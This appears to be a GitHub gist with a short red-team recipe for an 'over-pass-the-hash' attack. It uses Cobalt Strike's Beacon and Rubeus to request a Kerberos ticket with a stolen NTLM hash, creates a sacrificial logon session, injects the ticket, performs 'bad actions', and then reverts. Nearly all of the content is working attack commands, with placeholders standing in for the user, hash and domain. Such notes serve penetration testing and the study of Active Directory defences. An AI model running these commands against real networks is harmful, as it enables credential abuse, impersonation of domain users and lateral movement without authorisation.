Forked from HarmJ0y/gist:dc379107cfb4aa7ef5c3ecbac0133a02
Created
October 25, 2018 22:03
-
-
Save its-a-feature/399ad86b2c8e5032207a65af8b6858ff to your computer and use it in GitHub Desktop.
Over-pass-the-hash with Rubeus and Beacon
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # grab a TGT b64 blob with a valid NTLM | |
| beacon> execute-assembly /home/specter/Rubeus_4.5.exe asktgt /user:USER /rc4:NTLM_HASH | |
| # decode the base64 blob to a binary .kirbi | |
| $ base64 -d ticket.b64 > ticket.kirbi | |
| # sacrificial logon session (to prevent the TGT from overwriting your current logon session's TGT) | |
| beacon> make_token DOMAIN\USER PassWordDoesntMatter | |
| # inject the .kirbi | |
| beacon> kerberos_ticket_use /home/user/ticket.kirbi | |
| # do bad actions :) | |
| # revert | |
| beacon> rev2self |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment